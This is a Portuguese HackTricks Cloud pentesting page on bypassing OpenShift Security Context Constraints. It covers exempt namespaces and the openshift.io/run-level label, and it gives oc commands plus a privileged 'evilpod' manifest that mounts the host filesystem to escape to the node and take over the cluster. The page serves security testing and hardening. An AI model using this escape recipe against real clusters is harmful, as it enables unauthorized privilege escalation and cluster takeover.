Português - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

OpenShift - SCC bypass

O autor original desta página é Guillaume

Namespaces Privilegiados

Por padrão, SCC não se aplica nos seguintes projetos:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

Se você implantar pods em um desses namespaces, nenhum SCC será aplicado, permitindo a implantação de pods privilegiados ou montagem do sistema de arquivos do host.

Rótulo de Namespace

Existe uma maneira de desativar a aplicação do SCC no seu pod de acordo com a documentação da RedHat. Você precisará ter pelo menos uma das seguintes permissões:

  • Criar um Namespace e criar um Pod neste Namespace

  • Editar um Namespace e criar um Pod neste Namespace

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

O rótulo específico openshift.io/run-level permite aos usuários contornar SCCs para aplicações. Conforme a documentação da RedHat, quando este rótulo é utilizado, nenhum SCC é aplicado a todos os pods dentro desse namespace, removendo efetivamente quaisquer restrições.

Adicionar Rótulo

Para adicionar o rótulo em seu namespace:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Para criar um namespace com o rótulo através de um arquivo YAML:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Agora, todos os novos pods criados no namespace não devem ter nenhum SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

Na ausência de SCC, não há restrições na definição do seu pod. Isso significa que um pod malicioso pode ser facilmente criado para escapar para o sistema host.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Agora, tornou-se mais fácil escalar privilégios para acessar o sistema host e posteriormente assumir o controle de todo o cluster, ganhando privilégios de 'cluster-admin'. Procure a parte de Pós-Exploração do Nó na seguinte página:

Attacking Kubernetes from inside a Pod

Rótulos personalizados

Além disso, com base na configuração do alvo, alguns rótulos / anotações personalizados podem ser usados da mesma forma que no cenário de ataque anterior. Mesmo que não seja feito para isso, os rótulos podem ser usados para conceder permissões, restringir ou não um recurso específico.

Tente procurar por rótulos personalizados se puder ler alguns recursos. Aqui está uma lista de recursos interessantes:

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Listar todos os namespaces privilegiados

$ oc get project -o yaml | grep 'run-level' -b5

Exploração avançada

No OpenShift, como demonstrado anteriormente, ter permissão para implantar um pod em um namespace com o rótulo openshift.io/run-level pode levar a uma tomada de controle direta do cluster. Do ponto de vista das configurações do cluster, essa funcionalidade não pode ser desativada, pois é inerente ao design do OpenShift.

No entanto, medidas de mitigação como o Open Policy Agent GateKeeper podem impedir que os usuários definam esse rótulo.

Para contornar as regras do GateKeeper e definir esse rótulo para executar uma tomada de controle do cluster, os atacantes precisariam identificar métodos alternativos.

Referências

PreviousOpenShift - Tekton

Last updated